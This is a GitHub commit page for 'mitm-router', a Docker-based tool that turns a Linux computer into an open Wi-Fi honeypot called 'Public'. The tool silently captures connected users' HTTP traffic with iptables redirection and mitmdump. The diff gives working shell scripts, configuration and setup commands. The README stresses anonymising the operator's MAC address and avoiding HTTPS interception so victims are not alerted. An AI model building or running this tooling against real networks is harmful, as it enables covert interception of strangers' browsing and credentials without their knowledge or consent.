Skip to content

Commit

Permalink
Overhaul. Should be working now.
Browse files Browse the repository at this point in the history
  • Loading branch information
brannondorsey committed Jul 29, 2017
1 parent dade2d6 commit ef504e3
Show file tree
Hide file tree
Showing 9 changed files with 895 additions and 60 deletions.
1 change: 1 addition & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
run.sh
12 changes: 7 additions & 5 deletions Dockerfile
Original file line number Diff line number Diff line change
@@ -1,6 +1,9 @@
FROM debian:jessie
# replace ^ with below for raspberry pi
#FROM resin/rpi-raspbian:jessie

MAINTAINER Brannon Dorsey "[email protected]"
LABEL maintainer="[email protected]"
LABEL license="MIT"

RUN apt-get update --fix-missing && apt-get install -y \
hostapd \
Expand All @@ -9,7 +12,6 @@ RUN apt-get update --fix-missing && apt-get install -y \
iptables \
dnsmasq \
net-tools \
tmux \
macchanger

# mitmproxy requires this env
Expand All @@ -20,6 +22,6 @@ ADD hostapd.conf /etc/hostapd/hostapd.conf
ADD hostapd /etc/default/hostapd
ADD dnsmasq.conf /etc/dnsmasq.conf

ADD entrypoint.sh /entrypoint.sh

# ENTRYPOINT ["/entrypoint.sh"]
ADD entrypoint.sh /root/entrypoint.sh
WORKDIR /root
ENTRYPOINT ["/root/entrypoint.sh"]
674 changes: 674 additions & 0 deletions GPL.txt

Large diffs are not rendered by default.

14 changes: 14 additions & 0 deletions LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
Copyright (C) 2017 Brannon Dorsey

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
79 changes: 62 additions & 17 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,32 +1,77 @@
# Man-in-the-middle Router

Work-in-progress hard-fork of [simonschuang/rpi-hostapd](https://github.com/simonschuang/rpi-hostapd) that turns it into a public wifi network that mitms all traffic to the router on port `80`.
Turn any linux computer into a public Wi-Fi network that silently mitms all http traffic. Runs inside a Docker container using [hostapd](https://wiki.gentoo.org/wiki/Hostapd), [dnsmasq](http://www.thekelleys.org.uk/dnsmasq/doc.html), and [mitmproxy](https://mitmproxy.org/) to create a open honeypot wireless network named "Public".

```
# build the image
# clone the repo
git clone https://github.com/brannondorsey/mitm-router
cd mitm-router
# build the image this step can be omitted if you prefer to pull
# the image from the docker hub repository
docker build . -t brannondorsey/mitm-router
```

```
```bash
# run the container
docker run -it --rm --net host --privileged brannondorsey/mitm-router bash
# launch the access point, for some reason hostapd doesn't come
# up correctly if this is run from the Dockerfile, so we run manually
root@host:/# /entrypoint.sh
docker run -it --net host --privileged \
-e AP_IFACE="wlan0" \
-e INTERNET_IFACE="eth0" \
-e SSID="Public" \
-v "$(pwd)/data:/root/data" \
brannondorsey/mitm-router
```

Now startup mitmproxy:
We share the `mitm-router/data/` folder with the docker container so that we can view the capture files that it places there with on our host machine. By default, you will find the `mitmdump` capture file in `mitm-router/data/http-traffic.cap`.

```
# attach to the container
docker exec -it <CONTAINER_ID> bash
`mitm-router` transparently captures all `HTTP` traffic sent to the router at `10.0.0.1:80`. It does **not** intercept HTTPS traffic (port `443`) as doing so would alert a user that a possible man-in-the-middle attack was taking place. Traffic between URLs that begin with `https://` will not be captured.

## MAC Randomization

By default, `mitm-router` randomizes the MAC address of your `AP_IFACE` to anonymize your network device. This can be disabled with the `MAC="unchanged"` environment variable. You can also explicitly set the `AP_IFACE` MAC address with `MAC="XX:XX:XX:XX:XX:XX"`.

## Configuring

Supported environment variables are listed below with their default values:

```bash
# wireless device name that will be used for the Access Point
AP_IFACE="wlan0"

# add redirect rule
iptables -t nat -A PREROUTING -i <AP_IFACE> -p tcp --dport 80 -j REDIRECT --to-port 1337
# device name that is used for the router's internal internet connection
# packets from AP_IFACE will be forwarded to this device
INTERNET_IFACE="eth0"

# and start mitmproxy
mitmproxy -T --host -p 1337
# wireless network name
SSID="Public"

# optional WPA2 password; if left empty network will be public
PASSWORD=""

# optional randomization of AP_IFACE MAC address
# can be set to a specific value like "XX:XX:XX:XX:XX:XX"
# or "unchanged" to leave the device MAC alone
MAC="random"

# tcpdump output file location inside the container
CAPTURE_FILE="/root/data/http-traffic.cap"

# optional mitmproxy filter
# see http://docs.mitmproxy.org/en/stable/features/filters.html
FILTER=""
```

Reference: https://frillip.com/using-your-raspberry-pi-3-as-a-wifi-access-point-with-hostapd/
## Troubleshooting

See the [troubleshooting](troubleshooting.md) page for more info.

## Security

This access point runs inside of Docker for isolation, ensuring that any vulnerabilities that may be exploitable in the access point will not allow an adversary access to your computer or home network. That said, there are a few caveats to be aware of:

- `--net host` shares all of the network interfaces and `iptables` entries from the host machine with the docker container. Assume that a vulnerable docker container would have root access to these devices.
- Running in `--privileged` mode gives extended permissions to the docker container
- Your host machine (the one running docker) **will** be accessible on the "Public" network as a connected client. For this reason, please use a firewall (`ufw` on linux) to block incoming traffic on all ports so that computers on the "Public" network do not have access to exposed services your machine.
- All traffic on the honeypot network will be outbound from you home network's gateway. If someone on the "Public" network is torrenting or conducting illegal activity you will be held accountable and your ISP may cancel your service. <!--For this reason, I recommend you run a [VPN](https://airvpn.org/) on the host linux machine (the one that is running docker) to protect yourself. Doing so will cause all traffic from the host machine, and in turn the honeypot network, to be tunneled through the VPN. Also, be sure to pick a VPN that doesn't log your traffic ;)-->

For added security, I prefer to run this docker container on a dedicated computer, like a Raspberry Pi.
Empty file added data/.gitkeep
Empty file.
64 changes: 49 additions & 15 deletions entrypoint.sh
Original file line number Diff line number Diff line change
@@ -1,33 +1,63 @@
#!/bin/bash

AP_IFACE=wlx8416f9091905
INTERNET_IFACE=enp0s31f6
AP_IFACE="${AP_IFACE:-wlan0}"
INTERNET_IFACE="${INTERNET_IFACE:-eth0}"
SSID="${SSID:-Public}"
CAPTURE_FILE="${CAPTURE_FILE:-/root/data/http-traffic.cap}"
MAC="${MAC:random}"

# SIGTERM-handler
term_handler() {
echo "Get SIGTERM"

# remove iptable entries
iptables -t nat -D POSTROUTING -o "$INTERNET_IFACE" -j MASQUERADE
iptables -D FORWARD -i "$INTERNET_IFACE" -o "$AP_IFACE" -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -D FORWARD -i "$AP_IFACE" -o "$INTERNET_IFACE" -j ACCEPT

/etc/init.d/dnsmasq stop
/etc/init.d/hostapd stop
/etc/init.d/dbus stop

# remove iptable entries
iptables -t nat -D POSTROUTING -o "$INTERNET_IFACE" -j MASQUERADE
iptables -t nat -D POSTROUTING -o "$INTERNET_IFACE" -j MASQUERADE
iptables -D FORWARD -i "$AP_IFACE" -o "$INTERNET_IFACE" ACCEPT

kill $MITMDUMP_PID
kill -TERM "$CHILD" 2> /dev/null

echo "received shutdown signal, exiting."
}

# spoof MAC address
if [ "$MAC" != "unchanged" ] ; then
ifconfig "$AP_IFACE" down
if [ "$MAC" == "random" ] ; then
macchanger -A "$AP_IFACE"
else
macchanger --mac "$MAC" "$AP_IFACE"
fi
if [ ! $? ] ; then
echo "Failed to change MAC address, aborting."
exit 1
fi
ifconfig "$AP_IFACE" up
fi

ifconfig "$AP_IFACE" 10.0.0.1/24

if [ -z "$SSID" -a -z "$PASSWORD" ]; then
SSID="Public"
PASSWORD="raspberry"
# configure WPA password if provided
if [ ! -z "$PASSWORD" ]; then

# password length check
if [ ! ${#PASSWORD} -ge 8 ] && [ ${#PASSWORD} -le 63 ]; then
echo "PASSWORD must be between 8 and 63 characters"
echo "password '$PASSWORD' has length: ${#PASSWORD}, exiting."
exit 1
fi

# uncomment WPA2 auth stuff in hostapd.conf
# replace the password with $PASSWORD
sed -i 's/#//' /etc/hostapd/hostapd.conf
sed -i "s/wpa_passphrase=.*/wpa_passphrase=$PASSWORD/g" /etc/hostapd/hostapd.conf
fi

sed -i "s/ssid=.*/ssid=$SSID/g" /etc/hostapd/hostapd.conf
sed -i "s/wpa_passphrase=.*/wpa_passphrase=$PASSWORD/g" /etc/hostapd/hostapd.conf
sed -i "s/^ssid=.*/ssid=$SSID/g" /etc/hostapd/hostapd.conf
sed -i "s/interface=.*/interface=$AP_IFACE/g" /etc/hostapd/hostapd.conf
sed -i "s/interface=.*/interface=$AP_IFACE/g" /etc/dnsmasq.conf

Expand All @@ -43,9 +73,9 @@ iptables -t nat -C POSTROUTING -o "$INTERNET_IFACE" -j MASQUERADE
if [ ! $? -eq 0 ] ; then
iptables -t nat -A POSTROUTING -o "$INTERNET_IFACE" -j MASQUERADE
fi
iptables -t nat -C POSTROUTING -o "$INTERNET_IFACE" -j MASQUERADE
iptables -C FORWARD -i "$INTERNET_IFACE" -o "$AP_IFACE" -m state --state RELATED,ESTABLISHED -j ACCEPT
if [ ! $? -eq 0 ] ; then
iptables -t nat -A POSTROUTING -o "$INTERNET_IFACE" -j MASQUERADE
iptables -A FORWARD -i "$INTERNET_IFACE" -o "$AP_IFACE" -m state --state RELATED,ESTABLISHED -j ACCEPT
fi
iptables -C FORWARD -i "$AP_IFACE" -o "$INTERNET_IFACE" -j ACCEPT
if [ ! $? -eq 0 ] ; then
Expand All @@ -63,6 +93,10 @@ fi
trap term_handler SIGTERM
trap term_handler SIGKILL

# start mitmproxy in the background, but keep its output in this session
mitmdump -T --host -p 1337 -w "$CAPTURE_FILE" "$FILTER" &
MITMDUMP_PID=$!

# wait forever
sleep infinity &
CHILD=$!
Expand Down
51 changes: 28 additions & 23 deletions hostapd.conf
Original file line number Diff line number Diff line change
@@ -1,44 +1,49 @@
# This is the name of the WiFi interface we configured above
## This config gets processed by sed in entrypoint.sh, so take care when editing.
## I recommend reading entrypoint.sh to see how it is processed.
## All comments should include ## as single # may be removed by sed.

## This is the name of the WiFi interface we configured above
interface=wlan0

# Use the nl80211 driver with the brcmfmac driver
## Use the nl80211 driver with the brcmfmac driver
driver=nl80211

# This is the name of the network
ssid=Pi3-AP
## This is the name of the network
ssid=Public

# Use the 2.4GHz band
## Use the 2.4GHz band
hw_mode=g

# Use channel 6
## Use channel 6
channel=6

# Enable 802.11n
## Enable 802.11n
ieee80211n=1

# Enable WMM
wmm_enabled=1

# Enable 40MHz channels with 20ns guard interval
## Enable 40MHz channels with 20ns guard interval
ht_capab=[HT40][SHORT-GI-20][DSSS_CCK-40]

# Accept all MAC addresses
## Accept all MAC addresses
macaddr_acl=0

# Use WPA authentication
auth_algs=1
## Enable WMM
wmm_enabled=0

# Require clients to know the network name
## Require clients to know the network name
ignore_broadcast_ssid=0

# Use WPA2
wpa=2
auth_algs=1

## UNCOMMENT BELOW FOR WPA2 AUTH

## Use WPA2
#wpa=2

# Use a pre-shared key
wpa_key_mgmt=WPA-PSK
## Use a pre-shared key
#wpa_key_mgmt=WPA-PSK

# The network passphrase
wpa_passphrase=raspberry
## The network passphrase
#wpa_passphrase=hacktheplanet

# Use AES, instead of TKIP
rsn_pairwise=CCMP
## Use AES, instead of TKIP
#rsn_pairwise=CCMP
60 changes: 60 additions & 0 deletions troubleshooting.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,60 @@
Now startup mitmproxy:

```
# attach to the container
docker exec -it <CONTAINER_ID> bash
# add redirect rule
iptables -t nat -A PREROUTING -i <AP_IFACE> -p tcp --dport 80 -j REDIRECT --to-port 1337
# and start mitmproxy
mitmproxy -T --host -p 1337
```

Reference: https://frillip.com/using-your-raspberry-pi-3-as-a-wifi-access-point-with-hostapd/

## Troubleshooting

If hostapd fails to start:

```
[FAIL] Starting advanced IEEE 802.11 management: hostapd failed!
```

Get an error message by running hostapd manually:

```bash
$ hostapd /etc/hostapd/hostapd.conf
Configuration file: /etc/hostapd/hostapd.conf
nl80211: Could not configure driver mode
nl80211 driver initialization failed.
hostapd_free_hapd_data: Interface wlan0 wasn't started
```
Then edit:
```
sudo nano /etc/NetworkManager/NetworkManager.conf
```
Adding...
```
[keyfile]
unmanaged-devices=mac:00:d0:8a:a0:e9:bd
```
Restart the network manager
```
sudo service NetworkManager restart
```
Re-run to see if it worked:
```
root@brannon:/# hostapd /etc/hostapd/hostapd.conf
Configuration file: /etc/hostapd/hostapd.conf
Using interface wlxc4e984d7a5d2 with hwaddr 00:d0:8a:a0:e9:bd and ssid "Public"
wlxc4e984d7a5d2: interface state UNINITIALIZED->ENABLED
wlxc4e984d7a5d2: AP-ENABLED
```

0 comments on commit ef504e3

Please sign in to comment.